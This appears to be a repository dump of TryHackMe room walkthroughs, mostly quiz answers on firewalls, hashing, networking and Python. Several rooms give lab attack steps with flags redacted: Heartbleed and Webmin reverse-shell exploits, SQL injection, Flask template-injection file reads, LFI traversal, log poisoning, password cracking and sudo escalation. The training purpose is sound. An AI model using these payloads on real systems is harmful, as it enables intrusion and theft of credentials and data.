- No questions

	  no answer needed

- No questions

	  no answer needed

-  This type of Firewall typically has two NIC cards

	- `network-based`

- This type of Firewall is typically installed on a host computer and rules apply to that specific host only

	- `host-based`

- Web Application Firewalls help add an extra layer of security to your web servers.  Where should these be installed?

	- `Demilitarized zone`

- iptables is not the name of the Linux Firewall.  What is the framework that iptables allows us to interact with?

	- `netfilter`

- This 3 letter acronym is a set of rules that defines what the Firewall should allow and what it should deny

	- `ACL`

- Which iptables option allows us to keep track of the connection state?

	- `--ctstate`

- Which iptable Chain is responsible for packets on the local network that are being carried onwards?

	- `FORWARD`

- Which table mashes up the packets as they go through the Firewall?

	- `mangle`

- What is the last rule that should be added to an access control list?

	- `Implicit Deny`


================================================
FILE: Hardening-Basics-Part-2/README.md
================================================
# Hardening Basics Part 2

- Deploy the VM if necessary and let's go!

	 no answer needed

- Which SSH Protocol version is the most secure?

	- `2`

- This is a random, arbitrary number, used as the session key, that is used to encrypt GPG.

	- `nonce`

- Yey/Ney - GPG is based off of the OpenGPG standard

	- `yey`

- What is the command to generate your GPG keys?

	- `gpg --gen-key`

- What is the command to symmetrically encrypt a file with GPG?

	- `gpg -c`

- What is the command to asymmetrically encrypt a file with GPG?

	- `gpg -e`

- What is the command to create SSH keys?

	- `ssh-keygen`

- Where are ssh keys stored in a user's home directory?

	- `.ssh`

- What option needs to be set to select the type of key to generate for SSH?

	- `-t`

- The SSH configuration options presented in this chapter were found in what file (full path)?

	- `/etc/ssh/sshd_config`

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- No questions

	  no answer needed

- Where are the AppArmor profiles located?

	- `/etc/apparmor.d`

- This directory includes partial profiles to be used in your own custom profiles

	- `abstractions`

- This punctuation mark is REQUIRED at the end of every rule in a profile

	- `,`

- This AppArmor mode enforces the profiles but also logs them

	- `audit`

- This command checks the status of AppArmor

	- `aa-status`

- No questions

	  no answer needed

- Have fun!

	  no answer needed


================================================
FILE: Hashing-Crypto_101/README.md
================================================
# Hashing - Crypto 101

- Is base64 encryption or encoding?

	- `encoding`

- What is the output size in bytes of the MD5 hash function?

	- `16`

- Can you avoid hash collisions? (Yea/Nay)

	- `Nay`

- If you have an 8 bit hash output, how many possible hashes are there?

	- `256`

- Crack the hash "d0199f51d2728db6011945145a1b607a" using the rainbow table manually.

	- `basketball`

- Crack the hash "5b31f93c09ad1d065c0491b764d04933" using online tools

	- Just google it

- Should you encrypt passwords? Yea/Nay

	- `Nay`

- How many rounds does sha512crypt ($6$) use by default?

	- `5000`

- What's the hashcat example hash (from the website) for Citrix Netscaler hashes?

	- [here](https://hashcat.net/wiki/doku.php?id=example_hashes)

- How long is a Windows NTLM hash, in characters?

	- `32`

- Crack this hash: $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG

	- Copy this hash inside a file called `hash`
	- `hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt`
	- `***********`

- Crack this hash: 9eb7ee7f551d2f0ac684981bd1f1e2fa4a37590199636753efe614d4db30e8e1

	- `hash-identifier` and paste the hash
	- `echo "9eb7ee7f551d2f0ac684981bd1f1e2fa4a37590199636753efe614d4db30e8e1" > hash`
	- `john --format=raw-sha256 hash -w /usr/share/wordlists/rockyou.txt`
	- `************`

- Crack this hash: $6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0

	- Just google it
	- `********`

- Bored of this yet? Crack this hash: b6b0d451bbf6fed658659a9e7e5598fe

	- Just google it
	- `*********`

- What's the SHA1 sum for the amd64 Kali 2019.4 ISO? http://old.kali.org/kali-images/kali-2019.4/

	- http://old.kali.org/kali-images/kali-2019.4/SHA1SUMS
	- `**************************`

- What's the hashcat mode number for HMAC-SHA512 (key = $pass)?

	- `hashcat --help | grep HMAC-SHA512`
	- `****`




================================================
FILE: HeartBleed/README.md
================================================
# HeartBleed

- Read above and ensure you have a good understanding of how the Heartbleed vulnerability works.

	  no answer needed

- What is the flag?

	- `searchsploit heartbleed`
	- `searchsploit -m 32745`
	- `python 32745.py <TARGET_IP> > result.txt`
	- `cat result.txt`
	- `THM{**************}`




================================================
FILE: Intro-PoC-Scripting/README.md
================================================
# Intro PoC Scripting

- Please read the introduction description

	  no answer needed

- What is the target's platform and version number?

	- `webmin 1.580`

- What is the associated CVE for this platform?

	- `CVE-2012-2982`

- Which file does the vulnerability exist in?

	- `file/show.cgi`

- What program/command would be the most effective to use in this exploit?

	- `system shell`

- What's the original disclosure date of this exploit?

	- `September 6 2012`, It's written in the POC.
	

- What HTTP response code do we expect after the initial POST request?

	- `302`

- What does sid stand for and what is it's purpose?

	- `Session ID, authentication`

- In the check function, what is it doing to the cookies?

	- `format`

- In the second request of the check function, what method is piped into the command?

	- `rand_text_alphanumeric`

- Which HTTP response header allows us to send an authenticated POST request?

	- `Set-Cookie`

- Which is the correct method for formatting cookies in this example?

	- `any`

- What data type does the payload need to be?

	- `string`

- Why do we need to use "bash -c exec" instead of just "bash -i"

	- `replaces current shell process`

- What is the purpose of "<&1" in the payload function?

	- `redirects socket output stream to bash input stream`

- Run the program and listen for the shell. What is the /root/root.txt flag?

	- `wget https://raw.githubusercontent.com/cd6629/CVE-2012-2982-Python-PoC/master/web.py`
	- Change the IP address inside the file with yours.
	- Listen for a shell with `sudo nc -lnvp 53`
	- `python3 web.py <TARGET_IP>`
	- On the new shell `cat /root/root.txt`
	- `THM{****************}`

- No questions here

	  no answer needed

- Check out some of those links for more reading material.

	  no answer needed





================================================
FILE: Intro-to-Python/README.md
================================================
# Intro to Python

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- What is the name of > 

	- `greater than`

- What is the name of !=

	- `not equal to`

- 1 != 0 will this return true or false (T or F)

	- `T`

- What is the name of <=

	- `less or equal than`

- Will this sample code return truee or false

	- `truee`

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- What data type is 13

	- `integer`

- What data type is "65"

	- `string`

- What data type is 62.193

	- `float`

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- Section Complete

	  no answer needed

- Section Complete!

	  no answer needed

- Enter the decoded flag to complete the room!

	- `python decode.py`
	- `*********************************`




================================================
FILE: Intro-to-Python/decode.py
================================================
import base64

with open("encodedflag.txt", "r") as f:
		encoded_flag = f.read()

for i in range(5):
	encoded_flag = base64.b16decode(encoded_flag)

for i in range(5):
	encoded_flag = base64.b32decode(encoded_flag)

for i in range(5):
	encoded_flag = base64.b64decode(encoded_flag)

print(encoded_flag)

================================================
FILE: Intro-to-Windows/README.md
================================================
# Intro to Windows

- Read a little about Windows history and versions.

	  no answer needed

- When was Windows announced?

	- `November 20 1985`

- Which is the latest version of Windows?

	- `Windows 10`

- Which is the latest version of Windows Server?

	- `Windows Server 2019`

- Read the above.

	  no answer needed

- In which folder are users profiles stored?

	- `Users`

- Read the above.

	  no answer needed

- Which Active Directory is cloud based?

	- `Azure Active Directory`

- Which authentication method does not provide data integrity?

	- `NTLM`

- Authentication method that assings a ticket in order for a user to login?

	- `Kerberos`

- Which authentication method allow users to access applications with a single login (short name)?

	- `SAML`

- Authentication method that uses JSON Web Tokens?

	- `OpenID Connect`

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- Which can be considered the most important server?

	- `Domain Controller`

- Which server can store emails?

	- `Mail Server`

- Create the users and groups.

	  no answer needed

- Create your first GPO.

	  no answer needed




================================================
FILE: Introduction-to-Django/README.md
================================================
# Introduction to Django

- Read the above.

	  no answer needed

- How would we create an app called Forms?

	- `python3 manage.py startapp Forms`

- How would we run our project to a local network?

	- `python3 manage.py runserver 0.0.0.0:80`

- Read the above

	  no answer needed

- Flag from GitHub page

	- `THM{**************}`

- Admin panel flag?

	- Retrieve the `db.sqlite3` file.
	- `sqlite3 db.sqlite3`
	- `.databases`
	- `select * from db.auth_user`
	- `THM{************}`

- User flag?

	- `select * from db.auth_user`
	- Go to the PasteBin link
	- `hash-identifier`
	- Go to [crackstation](https://crackstation.net) and crack the hash
	- `su StrangeFox` and crack the hash
	- `cat ~/user.txt`
	- `THM{************}`

- Hidden flag?

	- `cd ~/messagebox/messagebox`
	- `cat * | grep THM`
	- `THM{************}`






================================================
FILE: Introduction-to-Flask/README.md
================================================
# Introduction to Flask

- Let's go!

	  no answer needed

- Which environment variable do you need to change in order to run Flask?

	- `FLASK_APP`

- What's the default deployment port used by Flask?

	- `5000`

- Is it possible to change that port? (yay/nay)

	- `yay`

- Does Flask support POST requests? (yay/nay)

	- `yay`

- What markdown language can you use to make templates for Flask? 

	- `html`

- Awesome!

	  no answer needed

- What's inside /home/flask/flag.txt ?

	- Visit `http://<TARGET_IP>:5000/vuln`
	- Now add `?name={{person.password}}`
	- Now instead use `{{ get_user_file("/etc/passwd") }}`
	- And now try with `http://<TARGET_IP>:5000/vuln?name={{%20get_user_file(%22/home/flask/flag.txt%22)%20}}`
	- `THM{**************}`

- See you in the next room!

	  no answer needed





================================================
FILE: Introduction-to-OWASP-ZAP/README.md
================================================
# Introduction to OWASP ZAP

- What does ZAP stand for?

	- `Zed Attack proxy`	

- Connect to the TryHackMe network and deploy the machine. Once deployed, wait a few minutes and visit the web application: http://<TARGET_IP>

	  no answer needed

- I've read the task.

	  no answer needed

- Install ZAP on an operating system of your choice!

	  no answer needed

- Open OWASP ZAP, ready to follow along with this room.

	  no answer needed

- Set up Ajax Spider

	  no answer needed

- What IP do we use for the proxy?

	- `127.0.0.1`

- Try scanning the DVWA web application as an authenticated user.

	  no answer needed

- Try brute-forcing the DVWA web application.

	  no answer needed

- Use ZAP to bruteforce the DVWA 'brute-force' page. What's the password?

	- `password`

- Set up HUNT on your Zap application to automatically perform passive scans on sites you visit!

	  no answer needed

- Check out the additional reading material.

	  no answer needed


================================================
FILE: Introductory-Networking/README.md
================================================
# Introductory Networking

- Let's get started!

	  no answer needed

- Which layer would choose to send data over TCP or UDP?

	- `4`

- Which layer checks received packets to make sure that they haven't been corrupted?

	- `2`

- In which layer would data be formatted in preparation for transmission?

	- `2`

- Which layer transmits and receives data?

	- `1`

- Which layer encrypts, compresses, or otherwise transforms the initial data to give it a standardised format?

	- `6`

- Which layer tracks communications between the host and receiving computers?

	- `5`

- Which layer accepts communication requests from applications?

	- `7`

- Which layer handles logical addressing?

	- `3`

- When sending data over TCP, what would you call the "bite-sized" pieces of data? 

	- `segments`

- [Research] Which layer would the FTP protocol communicate with?

	- `7`

- Which transport layer protocol would be best suited to transmit a live video?

	- `udp`

- How would you refer to data at layer 2 of the encapsulation process (with the OSI model)?

	- `frames`

- How would you refer to data at layer 4 of the encapsulation process (with the OSI model), if the UDP protocol has been selected?

	- `datagram`

- What process would a computer perform on a received message?

	- `de-encapsulation`

- Which is the only layer of the OSI model to add a trailer during encapsulation?

	- `data link`

- Does encapsulation provide an extra layer of security (Aye/Nay)?

	- `Aye`

- Which model was introduced first, OSI or TCP/IP?

	- `tcp/ip`

- Which layer of the TCP/IP model covers the functionality of the Transport layer of the OSI model (Full Name)?

	- `transport`

- Which layer of the TCP/IP model covers the functionality of the Session layer of the OSI model (Full Name)?

	- `application`

- The Network Interface layer of the TCP/IP model covers the functionality of two layers in the OSI model. These layers are Data Link, and?.. (Full Name)?

	- `physical`

- Which layer of the TCP/IP model handles the functionality of the OSI network layer?

	- `internet`

- What kind of protocol is TCP?

	- `connection-based`

- What is SYN short for?

	- `synchronise`

- What is the second step of the three way handshake?

	- `syn/ack`

- What is the short name for the "Acknowledgement" segment in the three-way handshake?

	- `ack`

- What is the protocol specified in the section of the request that's linked to the Application layer of the OSI and TCP/IP Models?

	- `domain name system`

- Which layer of the OSI model does the section that shows the IP address "172.16.16.77" link to (Name of the layer)?

	- `network`

- In the section of the request that links to the Transport layer of the OSI and TCP/IP models, which protocol is specified?

	- `user datagram protocol`

- Over what medium has this request been made (linked to the Data Link layer of the OSI model)?

	- `Ethernet II`

- Which layer of the OSI model does the section that shows the number of bytes transferred (81) link to?

	- `physical`

- [Research] Can you figure out what kind of address is shown in the layer linked to the Data Link layer of the OSI model?

	- `MAC`

- What command would you use to ping the bbc.co.uk website?

	- `ping bbc.co.uk`

- Ping muirlandoracle.co.uk
What is the IP address?

	- `ping muirlandoracle.co.uk`
	- `217.160.0.152`

- What switch lets you change the interval of sent ping requests?

	- `-i`

- What switch would allow you to restrict requests to IPV4?

	- `-4`

- What switch would give you a more verbose output?

	- `-v`

- Use traceroute on tryhackme.com
Can you see the path your request has taken?

	no answer needed

- What switch would you use to specify an interface when using Traceroute?

	- `-i`

- What switch would you use if you wanted to use TCP requests when tracing the route?

	- `-t`

- [Lateral Thinking] Which layer of the TCP/IP model will traceroute run on by default (Windows)?

	- `internet`

- Perform a whois search on facebook.com

	  no answer needed

- What is the registrant postal code for facebook.com?

	- `94025`

- When was the facebook.com domain first registered?

	- `29/03/1997`

- Perform a whois search on microsoft.com

	  no answer needed

- Which city is the registrant based in?

	- `Redmond`

- [OSINT] What is the name of the golf course that is near the registrant address for microsoft.com?

	- `Bellevue Golf Course`

- What is the registered Tech Email for microsoft.com?

	- `msnhst@microsoft.com`

- What is DNS short for?

	- `domain name system`

- What is the first type of DNS server your computer would query when you search for a domain?

	- `recursive`

- What type of DNS server contains records specific to domain extensions (i.e. .com, .co.uk*, etc)*? Use the long version of the name?

	- `top-level domain`

- Where is the very first place your computer would look to find the IP address of a domain?

	- `local cache`

- [Research] Google runs two public DNS servers. One of them can be queried with the IP 8.8.8.8, what is the IP address of the other one?

	- `8.8.4.4`

- If a DNS query has a TTL of 24 hours, what number would the dig query show?

	- `86400`

- Read the final thoughts

	  no answer needed




================================================
FILE: JavaScript-Basics/README.md
================================================
# JavaScript Basics

- Let's Begin

	  no answer needed

- What type of data type is this: 'Neo'?

	- `string`

- What data type is true/false?

	- `boolean`

- What is John's occupation?

	- `Master Hacker`

- What tag is used for linking a JavaScript file to HTML?

	- `script`

- Congratulations! You can now write conditionals!

	  no answer needed

- Finished with Functions!

	  no answer needed

- What type of brackets are used for arrays?

	- `[]`

- What color pill did we choose?

	- `red pill`

- What is the output of this code?

	- `Tyrell`

- Loops repeat until the written code is finished running (true/false)

	- `true`

- What loop doesn't require the condition to be true for it execute at least once?

	- `do...while`

- What is the DOM?

	- `document object model`

- What is it called when XSS is used to record keystrokes?

	- `keylogging`

- JavaScript Basics Master!

	  no answer needed

- Sort the array [1,10,5,15,2,7,28,900,45,18,27]

	- [solution](https://github.com/edoardottt/tryhackme-ctf/blob/main/JavaScript-Basics/sort.js). Try with `node sort.js`.
	- `[1,2,5,7,10,18,27,28,45,900]`







================================================
FILE: JavaScript-Basics/sort.js
================================================

function sort(array) {
	for (var i=1; i<array.length;i++) {
		for (var j=0; j<i;j++) {
			if (array[i] < array[j]) {
				temp = array[i];
				array[i] = array[j];
				array[j] = temp;
			}
		}
	}
	return array;
}


input = [1,10,5,15,2,7,28,900,45,18,27];

result = sort(input);

console.log(result);


================================================
FILE: John-The-Ripper/README.md
================================================
# John The Ripper

- Read and understand the basic concepts of hashing and hash cracking

	  no answer needed

- What is the most popular extended version of John the Ripper?

	- `jumbo john`

- What website was the rockyou.txt wordlist created from a breach on?

	- `rockyou.com`

- What type of hash is hash1.txt?

	- `hash-identifier`
	- Paste that hash.
	- `MD5`

- What is the cracked value of hash1.txt?

	- `john --format=raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt`
	- `*******`

- What type of hash is hash2.txt?

	- `hash-identifier`
	- Paste that hash.
	- `sha1`

- What is the cracked value of hash2.txt

	- `john --format=raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt`
	- `*********`

- What type of hash is hash3.txt?

	- `hash-identifier`
	- Paste that hash
	- `sha256`

- What is the cracked value of hash3.txt

	- `john --format=raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt`
	- `***********`

- What type of hash is hash4.txt?

	- `hash-identifier`
	- Paste that hash.
	- `whirlpool`

- What is the cracked value of hash4.txt

	- `john --format=whirlpool --wordlist=/usr/share/wordlists/rockyou.txt hash4.txt`
	- `**********`

- What do we need to set the "format" flag to, in order to crack this?

	- `nt`

- What is the cracked value of this password?

	- `john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt`
	- `********`

- What is the root password?

	- Copy the first line inside a file called `passwd`.
	- Copy the second part inside a file called `shadow`.
	- `unshadow passwd shadow > password.txt`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt password.txt`
	- `****`

- What is Joker's password?

	- Insert the username `Joker` before the hash and then insert `:` between the two.
	- `john --single --format=raw-MD5 hash7.txt`
	- `*****`

- What do custom rules allow us to exploit?

	- `Password complexity predictability`

- What rule would we use to add all capital letters to the end of the word?

	- `Az"[A-Z]"`

- What flag would we use to call a custom rule called "THMRules"

	- `--rule=THMRules`

- What is the password for the secure.zip file?

	- `zip2john secure.zip > zip.zip`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt zip.zip`
	- `*******`

- What is the contents of the flag inside the zip file?

	- `unzip secure.zip` and enter password.
	- `cat zippy/flag.txt`
	- `**********************`

- What is the password for the secure.rar file?

	- `rar2john secure.rar > rar.rar`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt rar.rar`
	- `********`

- What is the contents of the flag inside the zip file?

	- `unrar x secure.rar` and enter the pwd.
	- `*************************`

- What is the SSH private key password?

	- `python2 /usr/share/john/ssh2john.py idrsa.id_rsa > id.id`
	- `john --wordlist=/usr/share/wordlists/rockyou.txt id.id`
	- `*****`

- Update me..

	  no answer needed





================================================
FILE: Jurassic-Park/README.md
================================================
# Jurassic Park

- What is the SQL database called which is serving the shop information?

	- `scilla port -target <TARGET_IP>`
	- Visit `http://<TARGET_IP>`
	- Interesting content here: `http://<TARGET_IP>/item.php?id=5`
	- `scilla dir -target <TARGET_IP>`
	- `/assets` accessible, but nothing interesting.
	- `http://<TARGET_IP>/item.php?id=%27%20OR%201=1%20--%20-`
	- WOOHOO.
	- `sqlmap -u "http://<TARGET_IP>/item.php?id=1" --dump`
	- `****`

- How many columns does the table have?

	- also with: `http://<TARGET_IP>/item.php?id=5%20union%20select%201,2,3,4,5`
	- `5`

- Whats the system version?

	- `ubuntu **.**`

- What is dennis' password?

	- `********`

- Locate and get the first flag contents.

	- `ssh dennis@<TARGET_IP>`, `yes` and enter the password.
	- `cat flag1.txt`
	- `**************************`

- Whats the contents of the second flag?

	- `cat .*`
	- `cat /boot/grub/fonts/flagTwo.txt`
	- `****************************`

- Whats the contents of the third flag?

	- `cat /home/dennis/.bash_history`
	- `****************************`

- There is no fourth flag.

	  no answer needed

- Whats the contents of the fifth flag?

	- `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
	- `sudo python3 -m http.server`
	- `wget http://<YOUR_IP>:8000/LinEnum.sh`
	- `chmod +x LinEnum.sh`
	- `./LinEnum.sh`
	- `sudo -l`
	- scp withou password.
	- https://gtfobins.github.io/gtfobins/scp/#sudo
	- `cat /root/root.txt`
	- `*************************`




================================================
FILE: LFI/README.md
================================================
# LFI

- Deploy the VM and access its web server: `http://<TARGET_IP>`

	  no answer needed

- Look around the website. What is the name of the parameter you found on the website?

	- `page`

- You can read the interesting files to check out while testing for LFI.

	  no answer needed

- This file can give information about the system like the name of all the existing users on the system.

	  no answer needed

- What is the name of the user on the system?

	- `falcon`

- Once you find the name of the user it's important to see if you can include anything common and important in that user's directory, could be anything like theirs .bashrc etc

	  no answer needed

- Name of the file which can give you access to falcon's account on the system?

	- `id_rsa`

- What is the user flag?

	- copy the file `id_rsa` inside your machine
	- `chmod 600 id_rsa`
	- `ssh falcon@<TARGET_IP> -i id_rsa`
	- `ls`
	- `cat user.txt`
	- `**********************`

- What can falcon run as root?

	- `sudo -l`
	- `/bin/********`

- Search gtfobins via the website or by using gtfo tool, to see if you find any way to use that binary for privilege escalation.

	  no answer needed

- What is the root flag?

	- `**********************`

- Why not complete the LFI beginner level challenge next?

	  no answer needed






================================================
FILE: LFI-Basics/README.md
================================================
# LFI Basics

- Start the VM and access it using your browser.

	  no answer needed

- Access the first walkthrough, and add a parameter at the end of the link named "?page=".

	  no answer needed

- Let's include the home page. At the "?page=" parameter enter home.html to include the home page.

	  no answer needed

- What's the message you get when you include the home.html?

	`You included home.html`

- Type /etc/passwd in the parameter to read it.

	  no answer needed

- What user that it's not by default there is present?

	- `lfi`

- Well done! You've exploited your first local file inclusion!

	  no answer needed

- Now that we know what Directory Traversal is, let's access the second walkthrough.

	  no answer needed

- Add the "?page=" parameter, and try to include the home page again. Does it work (Yes/No)?

	- `No`

- Use "../" to move one directory up.

	  no answer needed

- What are the credit card numbers?

	- `http://<TARGET_IP>/lfi2/lfi.php?page=../creditcard`
	- `****-****-****-****`

- The same way you can include the passwd file. You'll have to move more directories up. Try reading the passwd file.

	  no answer needed

	- `http://<TARGET_IP>/lfi2/lfi.php?page=../../../../../etc/passwd`

- Well done! You've exploited your first LFI using Directory Traversal.

	  no answer needed

- We got our hands a bit dirty with basic LFI and LFI using path traversal. Let's dig a little deeper, and use log poisoning to get access to the underlying operating system.

	  no answer needed

- We will inject some malicious php code into the server's log.

	  no answer needed

- Access the third walkthrough, add the "?page=" parameter and let's try reading the apache log file.
The log file is located at the following path: /var/log/apache2/access.log

	no answer needed
	
	- `http://<TARGET_IP>/lfi/lfi.php?page=/var/log/apache2/access.log`

- Can you read the log?

	- `yes`

- Forward the request and add your parameter to the link (in my case lfi).
The link becomes: http://<IP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=
Now you can execute commands on the system!

	no answer needed

	- Open Burpsuite and set up the proxy.
	- Catch a request and edit it as shown, then forward it.
	- Add the lfi command to the url.

- Give it a try and run uname -r. What's the output of the command?

	- `4.15.0-72-generic`

- With this knowledge read the flag from the lfi user home directory

	- Add the command `ls%20/home/lfi` instead of `uname -r`
	- Add th command `cat%20/home/lfi/flag.txt`
	- `THM{************22******************}`




================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
